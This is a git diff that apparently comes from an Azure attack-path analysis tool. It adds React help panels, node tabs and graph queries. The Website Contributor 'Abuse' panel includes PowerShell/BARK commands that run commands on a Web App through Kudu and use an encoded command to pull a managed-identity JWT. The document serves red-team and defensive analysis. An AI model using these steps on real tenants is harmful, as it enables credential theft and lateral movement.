+ + ); +}; + +export default Abuse; diff --git a/src/components/Modals/HelpTexts/AZMGGroup_ReadWrite_All/General.jsx b/src/components/Modals/HelpTexts/AZMGGroup_ReadWrite_All/General.jsx new file mode 100644 index 000000000..7841ebf31 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGGroup_ReadWrite_All/General.jsx @@ -0,0 +1,16 @@ +import React from 'react'; + +const General = () => { + return ( + <> +

+ This edge is created when a Service Principal has been + granted the Group.ReadWrite.All edge. The edge is + not abusable, but is used during post-processing to create + abusable edges. +

+ + ); +}; + +export default General; diff --git a/src/components/Modals/HelpTexts/AZMGGroup_ReadWrite_All/Opsec.jsx b/src/components/Modals/HelpTexts/AZMGGroup_ReadWrite_All/Opsec.jsx new file mode 100644 index 000000000..a467563f9 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGGroup_ReadWrite_All/Opsec.jsx @@ -0,0 +1,16 @@ +import React from 'react'; + +const Opsec = () => { + return ( + <> +

+ This edge is created when a Service Principal has been + granted the Group.ReadWrite.All edge. The edge is + not abusable, but is used during post-processing to create + abusable edges. +

+ + ); +}; + +export default Opsec; diff --git a/src/components/Modals/HelpTexts/AZMGGroup_ReadWrite_All/References.jsx b/src/components/Modals/HelpTexts/AZMGGroup_ReadWrite_All/References.jsx new file mode 100644 index 000000000..c870f5bae --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGGroup_ReadWrite_All/References.jsx @@ -0,0 +1,18 @@ +import React from 'react'; + +const References = () => { + return ( + <> + + ATT&CK T1098: Account Manipulation + +
+ + Andy Robbins - Azure Privilege Escalation via Service Principal + Abuse + + + ); +}; + +export default References; diff --git a/src/components/Modals/HelpTexts/AZMGRoleManagement_ReadWrite_Directory/AZMGRoleManagement_ReadWrite_Directory.jsx b/src/components/Modals/HelpTexts/AZMGRoleManagement_ReadWrite_Directory/AZMGRoleManagement_ReadWrite_Directory.jsx new file mode 100644 index 000000000..79860117b --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGRoleManagement_ReadWrite_Directory/AZMGRoleManagement_ReadWrite_Directory.jsx @@ -0,0 +1,34 @@ +import React from 'react'; +import PropTypes from 'prop-types'; +import { Tabs, Tab } from 'react-bootstrap'; +import General from './General'; +import Abuse from './Abuse'; +import Opsec from './Opsec'; +import References from './References'; + +const AZMGRoleManagement_ReadWrite_Directory = ({ sourceName, sourceType, targetName, targetType }) => { + return ( + + + + + + + + + + + + + + + ); +}; + +AZMGRoleManagement_ReadWrite_Directory.propTypes = { + sourceName: PropTypes.string, + sourceType: PropTypes.string, + targetName: PropTypes.string, + targetType: PropTypes.string, +}; +export default AZMGRoleManagement_ReadWrite_Directory; diff --git a/src/components/Modals/HelpTexts/AZMGRoleManagement_ReadWrite_Directory/Abuse.jsx b/src/components/Modals/HelpTexts/AZMGRoleManagement_ReadWrite_Directory/Abuse.jsx new file mode 100644 index 000000000..92590851b --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGRoleManagement_ReadWrite_Directory/Abuse.jsx @@ -0,0 +1,16 @@ +import React from 'react'; + +const Abuse = () => { + return ( + <> +

+ This edge is created when a Service Principal has been + granted the RoleManagement.ReadWrite.Directory edge. The edge is + not abusable, but is used during post-processing to create + abusable edges. +

+ + ); +}; + +export default Abuse; diff --git a/src/components/Modals/HelpTexts/AZMGRoleManagement_ReadWrite_Directory/General.jsx b/src/components/Modals/HelpTexts/AZMGRoleManagement_ReadWrite_Directory/General.jsx new file mode 100644 index 000000000..f618fc963 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGRoleManagement_ReadWrite_Directory/General.jsx @@ -0,0 +1,16 @@ +import React from 'react'; + +const General = () => { + return ( + <> +

+ This edge is created when a Service Principal has been + granted the RoleManagement.ReadWrite.Directory edge. The edge is + not abusable, but is used during post-processing to create + abusable edges. +

+ + ); +}; + +export default General; diff --git a/src/components/Modals/HelpTexts/AZMGRoleManagement_ReadWrite_Directory/Opsec.jsx b/src/components/Modals/HelpTexts/AZMGRoleManagement_ReadWrite_Directory/Opsec.jsx new file mode 100644 index 000000000..91534c348 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGRoleManagement_ReadWrite_Directory/Opsec.jsx @@ -0,0 +1,16 @@ +import React from 'react'; + +const Opsec = () => { + return ( + <> +

+ This edge is created when a Service Principal has been + granted the RoleManagement.ReadWrite.Directory edge. The edge is + not abusable, but is used during post-processing to create + abusable edges. +

+ + ); +}; + +export default Opsec; diff --git a/src/components/Modals/HelpTexts/AZMGRoleManagement_ReadWrite_Directory/References.jsx b/src/components/Modals/HelpTexts/AZMGRoleManagement_ReadWrite_Directory/References.jsx new file mode 100644 index 000000000..bb21ba56d --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGRoleManagement_ReadWrite_Directory/References.jsx @@ -0,0 +1,22 @@ +import React from 'react'; + +const References = () => { + return ( + <> + + ATT&CK T1098: Account Manipulation + +
+ + Andy Robbins - Azure Privilege Escalation via Service Principal + Abuse + +
+ + Assign Azure AD roles at different scopes + + + ); +}; + +export default References; diff --git a/src/components/Modals/HelpTexts/AZMGServicePrincipalEndpoint_ReadWrite_All/AZMGServicePrincipalEndpoint_ReadWrite_All.jsx b/src/components/Modals/HelpTexts/AZMGServicePrincipalEndpoint_ReadWrite_All/AZMGServicePrincipalEndpoint_ReadWrite_All.jsx new file mode 100644 index 000000000..da84c2783 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGServicePrincipalEndpoint_ReadWrite_All/AZMGServicePrincipalEndpoint_ReadWrite_All.jsx @@ -0,0 +1,34 @@ +import React from 'react'; +import PropTypes from 'prop-types'; +import { Tabs, Tab } from 'react-bootstrap'; +import General from './General'; +import Abuse from './Abuse'; +import Opsec from './Opsec'; +import References from './References'; + +const AZMGServicePrincipalEndpoint_ReadWrite_All = ({ sourceName, sourceType, targetName, targetType }) => { + return ( + + + + + + + + + + + + + + + ); +}; + +AZMGServicePrincipalEndpoint_ReadWrite_All.propTypes = { + sourceName: PropTypes.string, + sourceType: PropTypes.string, + targetName: PropTypes.string, + targetType: PropTypes.string, +}; +export default AZMGServicePrincipalEndpoint_ReadWrite_All; diff --git a/src/components/Modals/HelpTexts/AZMGServicePrincipalEndpoint_ReadWrite_All/Abuse.jsx b/src/components/Modals/HelpTexts/AZMGServicePrincipalEndpoint_ReadWrite_All/Abuse.jsx new file mode 100644 index 000000000..3a757bb6b --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGServicePrincipalEndpoint_ReadWrite_All/Abuse.jsx @@ -0,0 +1,16 @@ +import React from 'react'; + +const Abuse = () => { + return ( + <> +

+ This edge is created when a Service Principal has been + granted the ServicePrincipalEndpoint.ReadWrite.All edge. The edge is + not abusable, but is used during post-processing to create + abusable edges. +

+ + ); +}; + +export default Abuse; diff --git a/src/components/Modals/HelpTexts/AZMGServicePrincipalEndpoint_ReadWrite_All/General.jsx b/src/components/Modals/HelpTexts/AZMGServicePrincipalEndpoint_ReadWrite_All/General.jsx new file mode 100644 index 000000000..d5f0042d2 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGServicePrincipalEndpoint_ReadWrite_All/General.jsx @@ -0,0 +1,16 @@ +import React from 'react'; + +const General = () => { + return ( + <> +

+ This edge is created when a Service Principal has been + granted the ServicePrincipalEndpoint.ReadWrite.All edge. The edge is + not abusable, but is used during post-processing to create + abusable edges. +

+ + ); +}; + +export default General; diff --git a/src/components/Modals/HelpTexts/AZMGServicePrincipalEndpoint_ReadWrite_All/Opsec.jsx b/src/components/Modals/HelpTexts/AZMGServicePrincipalEndpoint_ReadWrite_All/Opsec.jsx new file mode 100644 index 000000000..3e4ae4648 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGServicePrincipalEndpoint_ReadWrite_All/Opsec.jsx @@ -0,0 +1,16 @@ +import React from 'react'; + +const Opsec = () => { + return ( + <> +

+ This edge is created when a Service Principal has been + granted the ServicePrincipalEndpoint.ReadWrite.All edge. The edge is + not abusable, but is used during post-processing to create + abusable edges. +

+ + ); +}; + +export default Opsec; diff --git a/src/components/Modals/HelpTexts/AZMGServicePrincipalEndpoint_ReadWrite_All/References.jsx b/src/components/Modals/HelpTexts/AZMGServicePrincipalEndpoint_ReadWrite_All/References.jsx new file mode 100644 index 000000000..c870f5bae --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGServicePrincipalEndpoint_ReadWrite_All/References.jsx @@ -0,0 +1,18 @@ +import React from 'react'; + +const References = () => { + return ( + <> + + ATT&CK T1098: Account Manipulation + +
+ + Andy Robbins - Azure Privilege Escalation via Service Principal + Abuse + + + ); +}; + +export default References; diff --git a/src/components/Modals/HelpTexts/AZNodeResourceGroup/AZNodeResourceGroup.jsx b/src/components/Modals/HelpTexts/AZNodeResourceGroup/AZNodeResourceGroup.jsx new file mode 100644 index 000000000..1009817a9 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZNodeResourceGroup/AZNodeResourceGroup.jsx @@ -0,0 +1,34 @@ +import React from 'react'; +import PropTypes from 'prop-types'; +import { Tabs, Tab } from 'react-bootstrap'; +import General from './General'; +import Abuse from './Abuse'; +import Opsec from './Opsec'; +import References from './References'; + +const AZNodeResourceGroup = ({ sourceName, sourceType, targetName, targetType }) => { + return ( + + + + + + + + + + + + + + + ); +}; + +AZNodeResourceGroup.propTypes = { + sourceName: PropTypes.string, + sourceType: PropTypes.string, + targetName: PropTypes.string, + targetType: PropTypes.string, +}; +export default AZNodeResourceGroup; diff --git a/src/components/Modals/HelpTexts/AZNodeResourceGroup/Abuse.jsx b/src/components/Modals/HelpTexts/AZNodeResourceGroup/Abuse.jsx new file mode 100644 index 000000000..dbbc37b07 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZNodeResourceGroup/Abuse.jsx @@ -0,0 +1,16 @@ +import React from 'react'; + +const Abuse = () => { + return ( + <> +

+ You will abuse this relationship by executing a command + against the AKS Managed Cluster the edge is emiting from. + You can target any managed identity assignment scoped to + the Virtual Machine Scale Sets under the target Resource Group. +

+ + ); +}; + +export default Abuse; diff --git a/src/components/Modals/HelpTexts/AZNodeResourceGroup/General.jsx b/src/components/Modals/HelpTexts/AZNodeResourceGroup/General.jsx new file mode 100644 index 000000000..33a9d550f --- /dev/null +++ b/src/components/Modals/HelpTexts/AZNodeResourceGroup/General.jsx @@ -0,0 +1,23 @@ +import React from 'react'; + +const General = () => { + return ( + <> + +

+ This edge is created to link Azure Kubernetes Service + Managed Clusters to the Virtual Machine Scale Sets they + use to execute commands on. +

+ +

+ The system-assigned identity for the AKS Cluster will + have the Contributor role against the target Resource Group + and its child Virtual Machine Scale Sets. +

+ + + ); +}; + +export default General; diff --git a/src/components/Modals/HelpTexts/AZNodeResourceGroup/Opsec.jsx b/src/components/Modals/HelpTexts/AZNodeResourceGroup/Opsec.jsx new file mode 100644 index 000000000..1d2ddcaf0 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZNodeResourceGroup/Opsec.jsx @@ -0,0 +1,12 @@ +import React from 'react'; + +const Opsec = () => { + return ( +

+ This will depend on which particular abuse you perform, but in + general Azure will create a log event for each abuse. +

+ ); +}; + +export default Opsec; diff --git a/src/components/Modals/HelpTexts/AZNodeResourceGroup/References.jsx b/src/components/Modals/HelpTexts/AZNodeResourceGroup/References.jsx new file mode 100644 index 000000000..457bae3bf --- /dev/null +++ b/src/components/Modals/HelpTexts/AZNodeResourceGroup/References.jsx @@ -0,0 +1,17 @@ +import React from 'react'; + +const References = () => { + return ( + <> + + Andy Robbins - BARK.ps1 + +
+ + Karl Fosaaen - How To Extract Credentials from Azure Kubernetes Service (AKS) + + + ); +}; + +export default References; diff --git a/src/components/Modals/HelpTexts/AZWebsiteContributor/AZWebsiteContributor.jsx b/src/components/Modals/HelpTexts/AZWebsiteContributor/AZWebsiteContributor.jsx new file mode 100644 index 000000000..602e946d0 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZWebsiteContributor/AZWebsiteContributor.jsx @@ -0,0 +1,34 @@ +import React from 'react'; +import PropTypes from 'prop-types'; +import { Tabs, Tab } from 'react-bootstrap'; +import General from './General'; +import Abuse from './Abuse'; +import Opsec from './Opsec'; +import References from './References'; + +const AZWebsiteContributor = ({ sourceName, sourceType, targetName, targetType }) => { + return ( + + + + + + + + + + + + + + + ); +}; + +AZWebsiteContributor.propTypes = { + sourceName: PropTypes.string, + sourceType: PropTypes.string, + targetName: PropTypes.string, + targetType: PropTypes.string, +}; +export default AZWebsiteContributor; diff --git a/src/components/Modals/HelpTexts/AZWebsiteContributor/Abuse.jsx b/src/components/Modals/HelpTexts/AZWebsiteContributor/Abuse.jsx new file mode 100644 index 000000000..dc6852062 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZWebsiteContributor/Abuse.jsx @@ -0,0 +1,91 @@ +import React from 'react'; + +const Abuse = () => { + return ( + <> +

+ You can use BARK's Invoke-AzureRMWebAppShellCommand function + to execute commands on a target Web App. You can use BARK's + New-PowerShellFunctionAppFunction, Get-AzureFunctionAppMasterKeys, + and Get-AzureFunctionOutput functions to execute arbitrary + commands against a target Function App. +

+ +

+ These functions require you to supply an Azure Resource Manager + scoped JWT associated with the principal that has the privilege + to execute commands on the web app or function app. There are + several ways to acquire a JWT. For example, you may use BARK's + Get-ARMTokenWithRefreshToken to acquire an Azure RM-scoped JWT + by supplying a refresh token: +

+ +
+                    
+                        {
+                            '$ARMToken = Get-ARMTokenWithRefreshToken `\n' +
+                            '    -RefreshToken "0.ARwA6WgJJ9X2qk…" `\n' +
+                            '    -TenantID "contoso.onmicrosoft.com"'
+                        }
+                    
+                
+ +

+ Now you can use BARK's Invoke-AzureRMWebAppShellCommand function + to execute a command against the target Web App. + For example, to run a simple "whoami" command: +

+ +
+                
+                    {
+                        'Invoke-AzureRMWebAppShellCommand `\n' +
+                        '    -KuduURI "https://mycoolwindowswebapp.scm.azurewebsites.net/api/command" `\n' +
+                        '    -Token $ARMToken `\n' +
+                        '    -Command "whoami"'
+                    }
+                
+                
+            
+ +

+ If the Web App has a managed identity assignments, you can use BARK's + Invoke-AzureRMWebAppShellCommand function to retrieve a JWT for the + managed identity Service Principal like this: +

+ + +
+                    
+                        {
+                            'PS C:\> $PowerShellCommand = ' + '\n' +
+                            '            $headers=@{"X-IDENTITY-HEADER"=$env:IDENTITY_HEADER}\n' +
+                            '            $response = Invoke-WebRequest -UseBasicParsing -Uri "$($env:IDENTITY_ENDPOINT)?resource=https://storage.azure.com/&api-version=2019-08-01" -Headers $headers\n' +
+                            '            $response.RawContent' + '\n\n' +
+                    
+                            'PS C:\> $base64Cmd = [System.Convert]::ToBase64String(\n' +
+                            '            [System.Text.Encoding]::Unicode.GetBytes(\n' +
+                            '                $PowerShellCommand\n' +
+                            '            )\n' +
+                            '        )\n\n' +
+
+                            'PS C:\> $Command = "powershell -enc $($base64Cmd)"\n\n' +
+
+                            'PS C:\> Invoke-AzureRMWebAppShellCommand `\n' +
+                            '            -KuduURI "https://mycoolwindowswebapp.scm.azurewebsites.net/api/command" `\n' +
+                            '            -token $ARMToken `\n' +
+                            '            -Command $Command'
+                        }
+                    
+                
+ + +

+ If successful, the output will include a JWT for the managed identity + service principal. +

+ + ); +}; + +export default Abuse; diff --git a/src/components/Modals/HelpTexts/AZWebsiteContributor/General.jsx b/src/components/Modals/HelpTexts/AZWebsiteContributor/General.jsx new file mode 100644 index 000000000..999403b35 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZWebsiteContributor/General.jsx @@ -0,0 +1,14 @@ +import React from 'react'; + +const General = () => { + return ( +

+ The Website Contributor role grants full control of the target + Function App or Web App. Full control of either of those types + of resources allows for arbitrary command execution against the + target resoruce. +

+ ); +}; + +export default General; diff --git a/src/components/Modals/HelpTexts/AZWebsiteContributor/Opsec.jsx b/src/components/Modals/HelpTexts/AZWebsiteContributor/Opsec.jsx new file mode 100644 index 000000000..1d2ddcaf0 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZWebsiteContributor/Opsec.jsx @@ -0,0 +1,12 @@ +import React from 'react'; + +const Opsec = () => { + return ( +

+ This will depend on which particular abuse you perform, but in + general Azure will create a log event for each abuse. +

+ ); +}; + +export default Opsec; diff --git a/src/components/Modals/HelpTexts/AZWebsiteContributor/References.jsx b/src/components/Modals/HelpTexts/AZWebsiteContributor/References.jsx new file mode 100644 index 000000000..93ab469fc --- /dev/null +++ b/src/components/Modals/HelpTexts/AZWebsiteContributor/References.jsx @@ -0,0 +1,21 @@ +import React from 'react'; + +const References = () => { + return ( + <> + + Andy Robbins - BARK.ps1 + +
+ + Karl Fosaaen - Lateral Movement in Azure App Services + +
+ + Andy Robbins - Abusing Azure App Service Managed Identity Assignments + + + ); +}; + +export default References; diff --git a/src/components/SearchContainer/SearchRow.jsx b/src/components/SearchContainer/SearchRow.jsx index e592ff3ab..74c9fe3aa 100644 --- a/src/components/SearchContainer/SearchRow.jsx +++ b/src/components/SearchContainer/SearchRow.jsx @@ -70,6 +70,27 @@ const SearchRow = ({ item, search }) => { case 'AZDevice': icon.className = 'fa fa-desktop'; break; + case 'AZContainerRegistry': + icon.className = 'fa fa-box-open'; + break; + case 'AZAutomationAccount': + icon.className = 'fa fa-cogs'; + break; + case 'AZLogicApp': + icon.className = 'fa fa-sitemap'; + break; + case 'AZFunctionApp': + icon.className = 'fa fa-bolt-lightning'; + break; + case 'AZWebApp': + icon.className = 'fa fa-object-group'; + break; + case 'AZManagedCluster': + icon.className = 'fa fa-cubes'; + break; + case 'AZVMScaleSet': + icon.className = 'fa fa-server'; + break; case 'AZKeyVault': icon.className = 'fa fa-lock'; break; diff --git a/src/components/SearchContainer/TabContainer.jsx b/src/components/SearchContainer/TabContainer.jsx index b3badd170..3fa5b51d3 100644 --- a/src/components/SearchContainer/TabContainer.jsx +++ b/src/components/SearchContainer/TabContainer.jsx @@ -10,6 +10,13 @@ import GpoNodeData from './Tabs/GPONodeData'; import OuNodeData from './Tabs/OUNodeData'; import AZGroupNodeData from './Tabs/AZGroupNodeData'; import AZUserNodeData from './Tabs/AZUserNodeData'; +import AZContainerRegistryNodeData from './Tabs/AZContainerRegistryNodeData'; +import AZAutomationAccountNodeData from './Tabs/AZAutomationAccountNodeData'; +import AZLogicAppNodeData from './Tabs/AZLogicAppNodeData'; +import AZFunctionAppNodeData from './Tabs/AZFunctionAppNodeData'; +import AZWebAppNodeData from './Tabs/AZWebAppNodeData'; +import AZManagedClusterNodeData from './Tabs/AZManagedClusterNodeData'; +import AZVMScaleSetNodeData from './Tabs/AZVMScaleSetNodeData'; import AZKeyVaultNodeData from './Tabs/AZKeyVaultNodeData'; import AZResourceGroupNodeData from './Tabs/AZResourceGroupNodeData'; import AZDeviceNodeData from './Tabs/AZDeviceNodeData'; @@ -44,6 +51,12 @@ class TabContainer extends Component { containerVisible: false, azGroupVisible: false, azUserVisible: false, + azContainerRegistryVisible: false, + azLogicAppVisible: false, + azFunctionAppVisible: false, + azWebAppVisible: false, + azManagedClusterVisible: false, + azVMScaleSetVisible: false, azKeyVaultVisible: false, azResourceGroupVisible: false, azDeviceVisible: false, @@ -85,6 +98,20 @@ class TabContainer extends Component { this._azGroupNodeClicked(); } else if (type === 'AZUser') { this._azUserNodeClicked(); + } else if (type === 'AZContainerRegistry') { + this._azContainerRegistryNodeClicked(); + } else if (type === 'AZAutomationAccount') { + this._azAutomationAccountNodeClicked(); + } else if (type === 'AZLogicApp') { + this._azLogicAppNodeClicked(); + } else if (type === 'AZFunctionApp') { + this._azFunctionAppNodeClicked(); + } else if (type === 'AZWebApp') { + this._azWebAppNodeClicked(); + } else if (type === 'AZManagedCluster') { + this._azManagedClusterNodeClicked(); + } else if (type === 'AZVMScaleSet') { + this._azVMScaleSetNodeClicked(); } else if (type === 'AZKeyVault') { this._azKeyVaultNodeClicked(); } else if (type === 'AZResourceGroup') { @@ -214,6 +241,62 @@ class TabContainer extends Component { }); } + _azContainerRegistryNodeClicked() { + this.clearVisible() + this.setState({ + azContainerRegistryVisible: true, + selected: 2 + }) + } + + _azAutomationAccountNodeClicked() { + this.clearVisible() + this.setState({ + azAutomationAccountVisible: true, + selected: 2 + }) + } + + _azLogicAppNodeClicked() { + this.clearVisible() + this.setState({ + azLogicAppVisible: true, + selected: 2 + }) + } + + _azFunctionAppNodeClicked() { + this.clearVisible() + this.setState({ + azFunctionAppVisible: true, + selected: 2 + }) + } + + _azWebAppNodeClicked() { + this.clearVisible() + this.setState({ + azWebAppVisible: true, + selected: 2 + }) + } + + _azManagedClusterNodeClicked() { + this.clearVisible() + this.setState({ + azManagedClusterVisible: true, + selected: 2 + }) + } + + _azVMScaleSetNodeClicked() { + this.clearVisible() + this.setState({ + azVMScaleSetVisible: true, + selected: 2 + }) + } + _azKeyVaultNodeClicked() { this.clearVisible() this.setState({ @@ -324,6 +407,13 @@ class TabContainer extends Component { !this.state.ouVisible && !this.state.azGroupVisible && !this.state.azUserVisible && + !this.state.azContainerRegistryVisible && + !this.state.azAutomationAccountVisible && + !this.state.azLogicAppVisible && + !this.state.azFunctionAppVisible && + !this.state.azWebAppVisible && + !this.state.azManagedClusterVisible && + !this.state.azVMScaleSetVisible && !this.state.azKeyVaultVisible && !this.state.azResourceGroupVisible && !this.state.azDeviceVisible && @@ -349,6 +439,13 @@ class TabContainer extends Component { + + + + + + + diff --git a/src/components/SearchContainer/Tabs/AZApp.jsx b/src/components/SearchContainer/Tabs/AZApp.jsx index 093cb18a7..2b0b2db2b 100644 --- a/src/components/SearchContainer/Tabs/AZApp.jsx +++ b/src/components/SearchContainer/Tabs/AZApp.jsx @@ -135,7 +135,7 @@ const AZAppNodeData = () => { property='Explicit Object Controllers' target={objectid} baseQuery={ - 'MATCH p = (n)-[r:AZOwns|AZCloudAppAdmin|AZAppAdmin|AZAddSecret]->(g:AZApp {objectid: $objectid})' + 'MATCH p = (n)-[r:AZAddOwner|AZAddSecret|AZAppAdmin|AZCloudAppAdmin|AZMGAddOwner|AZMGAddSecret|AZOwns]->(g:AZApp {objectid: $objectid})' } end={label} distinct @@ -144,7 +144,7 @@ const AZAppNodeData = () => { property='Unrolled Object Controllers' target={objectid} baseQuery={ - 'MATCH p = (n)-[r:MemberOf*1..]->(g1)-[r1:AZOwns|AZCloudAppAdmin|AZAppAdmin|AZAddSecret]->(g2:AZApp {objectid: $objectid}) WITH LENGTH(p) as pathLength, p, n WHERE NONE (x in NODES(p)[1..(pathLength-1)] WHERE x.objectid = g2.objectid) AND NOT n.objectid = g2.objectid' + 'MATCH p = (n)-[r:MemberOf*1..]->(g1)-[r1:AZAddOwner|AZAddSecret|AZAppAdmin|AZCloudAppAdmin|AZMGAddOwner|AZMGAddSecret|AZOwns]->(g2:AZApp {objectid: $objectid}) WITH LENGTH(p) as pathLength, p, n WHERE NONE (x in NODES(p)[1..(pathLength-1)] WHERE x.objectid = g2.objectid) AND NOT n.objectid = g2.objectid' } end={label} distinct diff --git a/src/components/SearchContainer/Tabs/AZAutomationAccountNodeData.jsx b/src/components/SearchContainer/Tabs/AZAutomationAccountNodeData.jsx new file mode 100644 index 000000000..c13f82028 --- /dev/null +++ b/src/components/SearchContainer/Tabs/AZAutomationAccountNodeData.jsx @@ -0,0 +1,151 @@ +import React, { useContext, useEffect, useState } from 'react'; +import clsx from 'clsx'; +import CollapsibleSection from './Components/CollapsibleSection'; +import NodeCypherLinkComplex from './Components/NodeCypherLinkComplex'; +import NodeCypherLink from './Components/NodeCypherLink'; +import NodeCypherNoNumberLink from './Components/NodeCypherNoNumberLink'; +import MappedNodeProps from './Components/MappedNodeProps'; +import ExtraNodeProps from './Components/ExtraNodeProps'; +import NodePlayCypherLink from './Components/NodePlayCypherLink'; +import { Table } from 'react-bootstrap'; +import styles from './NodeData.module.css'; +import { AppContext } from '../../../AppContext'; + +const AZAutomationAccountNodeData = () => { + const [visible, setVisible] = useState(false); + const [objectid, setObjectid] = useState(null); + const [label, setLabel] = useState(null); + const [domain, setDomain] = useState(null); + const [nodeProps, setNodeProps] = useState({}); + const context = useContext(AppContext); + + useEffect(() => { + emitter.on('nodeClicked', nodeClickEvent); + + return () => { + emitter.removeListener('nodeClicked', nodeClickEvent); + }; + }, []); + + const nodeClickEvent = (type, id, blocksinheritance, domain) => { + if (type === 'AZAutomationAccount') { + setVisible(true); + setObjectid(id); + setDomain(domain); + let session = driver.session(); + session + .run(`MATCH (n:AZAutomationAccount {objectid: $objectid}) RETURN n AS node`, { + objectid: id, + }) + .then((r) => { + let props = r.records[0].get('node').properties; + setNodeProps(props); + setLabel(props.name || props.azname || objectid); + session.close(); + }); + } else { + setObjectid(null); + setVisible(false); + } + }; + + const displayMap = { + objectid: 'Object ID', + }; + + return objectid === null ? ( +
+ ) : ( +
+
+
{label || objectid}
+ + +
+ + + + + (n)' + } + property={'Managed Identities'} + target={objectid} + /> + +
+
+
+ +
+ + + +
+ + + +
+ + +
+ + + + (c:AZAutomationAccount {objectid:$objectid})' + } + end={label} + distinct + /> + (g)-[r1:AZAutomationContributor|AZContributor|AZUserAccessAdministrator|AZOwns]->(c:AZAutomationAccount {objectid:$objectid})' + } + end={label} + distinct + /> + (c:AZAutomationAccount {objectid:$objectid}))' + } + end={label} + distinct + /> + +
+
+
+ +
+
+ ); +}; + +AZAutomationAccountNodeData.propTypes = {}; +export default AZAutomationAccountNodeData; diff --git a/src/components/SearchContainer/Tabs/AZContainerRegistryNodeData.jsx b/src/components/SearchContainer/Tabs/AZContainerRegistryNodeData.jsx new file mode 100644 index 000000000..9a189d985 --- /dev/null +++ b/src/components/SearchContainer/Tabs/AZContainerRegistryNodeData.jsx @@ -0,0 +1,151 @@ +import React, { useContext, useEffect, useState } from 'react'; +import clsx from 'clsx'; +import CollapsibleSection from './Components/CollapsibleSection'; +import NodeCypherLinkComplex from './Components/NodeCypherLinkComplex'; +import NodeCypherLink from './Components/NodeCypherLink'; +import NodeCypherNoNumberLink from './Components/NodeCypherNoNumberLink'; +import MappedNodeProps from './Components/MappedNodeProps'; +import ExtraNodeProps from './Components/ExtraNodeProps'; +import NodePlayCypherLink from './Components/NodePlayCypherLink'; +import { Table } from 'react-bootstrap'; +import styles from './NodeData.module.css'; +import { AppContext } from '../../../AppContext'; + +const AZContainerRegistryNodeData = () => { + const [visible, setVisible] = useState(false); + const [objectid, setObjectid] = useState(null); + const [label, setLabel] = useState(null); + const [domain, setDomain] = useState(null); + const [nodeProps, setNodeProps] = useState({}); + const context = useContext(AppContext); + + useEffect(() => { + emitter.on('nodeClicked', nodeClickEvent); + + return () => { + emitter.removeListener('nodeClicked', nodeClickEvent); + }; + }, []); + + const nodeClickEvent = (type, id, blocksinheritance, domain) => { + if (type === 'AZContainerRegistry') { + setVisible(true); + setObjectid(id); + setDomain(domain); + let session = driver.session(); + session + .run(`MATCH (n:AZContainerRegistry {objectid: $objectid}) RETURN n AS node`, { + objectid: id, + }) + .then((r) => { + let props = r.records[0].get('node').properties; + setNodeProps(props); + setLabel(props.name || props.azname || objectid); + session.close(); + }); + } else { + setObjectid(null); + setVisible(false); + } + }; + + const displayMap = { + objectid: 'Object ID', + }; + + return objectid === null ? ( +
+ ) : ( +
+
+
{label || objectid}
+ + +
+ + + + + (n)' + } + property={'Managed Identities'} + target={objectid} + /> + +
+
+
+ +
+ + + +
+ + + +
+ + +
+ + + + (c:AZContainerRegistry {objectid:$objectid})' + } + end={label} + distinct + /> + (g)-[r1:AZContributor|AZUserAccessAdministrator|AZOwns]->(c:AZContainerRegistry {objectid:$objectid})' + } + end={label} + distinct + /> + (c:AZContainerRegistry {objectid:$objectid}))' + } + end={label} + distinct + /> + +
+
+
+ +
+
+ ); +}; + +AZContainerRegistryNodeData.propTypes = {}; +export default AZContainerRegistryNodeData; diff --git a/src/components/SearchContainer/Tabs/AZFunctionAppNodeData.jsx b/src/components/SearchContainer/Tabs/AZFunctionAppNodeData.jsx new file mode 100644 index 000000000..2eafca3ea --- /dev/null +++ b/src/components/SearchContainer/Tabs/AZFunctionAppNodeData.jsx @@ -0,0 +1,151 @@ +import React, { useContext, useEffect, useState } from 'react'; +import clsx from 'clsx'; +import CollapsibleSection from './Components/CollapsibleSection'; +import NodeCypherLinkComplex from './Components/NodeCypherLinkComplex'; +import NodeCypherLink from './Components/NodeCypherLink'; +import NodeCypherNoNumberLink from './Components/NodeCypherNoNumberLink'; +import MappedNodeProps from './Components/MappedNodeProps'; +import ExtraNodeProps from './Components/ExtraNodeProps'; +import NodePlayCypherLink from './Components/NodePlayCypherLink'; +import { Table } from 'react-bootstrap'; +import styles from './NodeData.module.css'; +import { AppContext } from '../../../AppContext'; + +const AZFunctionAppNodeData = () => { + const [visible, setVisible] = useState(false); + const [objectid, setObjectid] = useState(null); + const [label, setLabel] = useState(null); + const [domain, setDomain] = useState(null); + const [nodeProps, setNodeProps] = useState({}); + const context = useContext(AppContext); + + useEffect(() => { + emitter.on('nodeClicked', nodeClickEvent); + + return () => { + emitter.removeListener('nodeClicked', nodeClickEvent); + }; + }, []); + + const nodeClickEvent = (type, id, blocksinheritance, domain) => { + if (type === 'AZFunctionApp') { + setVisible(true); + setObjectid(id); + setDomain(domain); + let session = driver.session(); + session + .run(`MATCH (n:AZFunctionApp {objectid: $objectid}) RETURN n AS node`, { + objectid: id, + }) + .then((r) => { + let props = r.records[0].get('node').properties; + setNodeProps(props); + setLabel(props.name || props.azname || objectid); + session.close(); + }); + } else { + setObjectid(null); + setVisible(false); + } + }; + + const displayMap = { + objectid: 'Object ID', + }; + + return objectid === null ? ( +
+ ) : ( +
+
+
{label || objectid}
+ + +
+ + + + + (n)' + } + property={'Managed Identities'} + target={objectid} + /> + +
+
+
+ +
+ + + +
+ + + +
+ + +
